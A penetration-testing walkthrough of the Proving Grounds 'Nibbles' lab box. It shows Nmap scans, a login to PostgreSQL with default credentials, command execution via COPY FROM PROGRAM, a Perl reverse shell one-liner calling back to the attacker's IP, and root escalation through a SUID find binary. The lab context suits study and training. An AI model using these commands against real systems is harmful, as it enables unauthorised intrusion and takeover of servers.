Proving Grounds - Nibbles (Intermediate)
Apr 15, 22Introduction
This is an Intermediate Linux box on Proving Grounds.
Enumeration
As always first I will run a service version Nmap scan. This reveals FTP, SSH, and a webserver on HTTP.
$ sudo nmap --min-rate 100 -sV -sC -T4 192.168.122.47 -oA nmap/versions
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-14 11:34 EDT
Nmap scan report for 192.168.122.47
Host is up (0.083s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA)
| 256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA)
|_ 256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Enter a title, displayed at the top of the window.
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp closed netbios-ssn
445/tcp closed microsoft-ds
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.71 seconds
Running a further Nmap scan across all ports reveals one more open port - 5437. This is PostgresQL.
sudo nmap -p- -T4 192.168.122.47 -o nmap/all
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-14 12:19 EDT
Nmap scan report for 192.168.122.47
Host is up (0.084s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp closed netbios-ssn
445/tcp closed microsoft-ds
5437/tcp open pmip6-data
Nmap done: 1 IP address (1 host up) scanned in 110.82 seconds
Apache Webserver
Service: Apache/2.4.38 (Debian)
To me this looked like a default page and I was not able to find anything interesting via directory enumeration.
PostgresQL Enumeration
We can use Nmap to attempt a service version scan on the PostgresQL port - this succesfully identifies the version as between 11.3 - 11.7.
$ nmap -sC -sV -p 5437 192.168.122.47
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-14 12:26 EDT
Nmap scan report for 192.168.122.47
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
5437/tcp open postgresql PostgreSQL DB 11.3 - 11.7
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Not valid before: 2020-04-27T15:41:47
|_Not valid after: 2030-04-25T15:41:47
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.81 seconds
Default credentials are always worth a try:
psql -h 192.168.122.47 -p 5437 -U postgres -W
Here we can try the username-password combination postgres:postgres
:
PostgresQL Exploitation
The default credentials are valid and we are able to enumerate the database and also list directories.
select pg_ls_dir('/etc');
Internal reconnaissance of the server enabled me to identify it as PostgresQL version 11.7 but unfortunately I do not have a screenshot of this. Knowing this, we can search for vulnerabilties - an authenticated RCE exploit is available.
PostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated)
Example
sudo python3 50847.py -i 192.168.171.47 -p 5437 -c "(command)"
However this did not work for me, so I resorted to manually exploting the RCE.
Manual RCE
1) [Optional] Drop the table you want to use if it already exists
DROP TABLE IF EXISTS cmd_exec;
2) Create the table you want to hold the command output
CREATE TABLE cmd_exec(cmd_output text);
3) Run the system command via the COPY FROM PROGRAM function
COPY cmd_exec FROM PROGRAM 'id';
4) [Optional] View the results
SELECT * FROM cmd_exec;
5) [Optional] Clean up after yourself
DROP TABLE IF EXISTS cmd_exec;
Executing a Perl reverse shell:
COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.171:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
We receive a connect back at the listener and we have interactive shell access as the postgres
user.
Another local user is present, wilson
, and the current user has the privileges to read their files (such as the local flag).
Privilege Escalation
Firewall rules which prevented file transfer were in place, so I generated SSH keys on the target and added to the Kali authorized keys file. Then we can transfer files with scp
e.g.
scp -i /var/lib/postgresql/.ssh/id_rsa kali@192.168.49.171:/home/kali/Documents/oscp/provingGrounds/nibbles/linpeas.sh /tmp/
This was however COMPLETELY unneccessary as one of the first enumeration commands I had run manually had shown the PE vector…
postgres@nibbles:/tmp$ find / -type f -perm -u=s 2>/dev/null
find / -type f -perm -u=s 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/find
/usr/bin/sudo
/usr/bin/umount
The binary find
with a SUID bit set is a classic privilege escalation technique seen often in CTFs.
/usr/bin/find . -exec /bin/sh -p \; -quit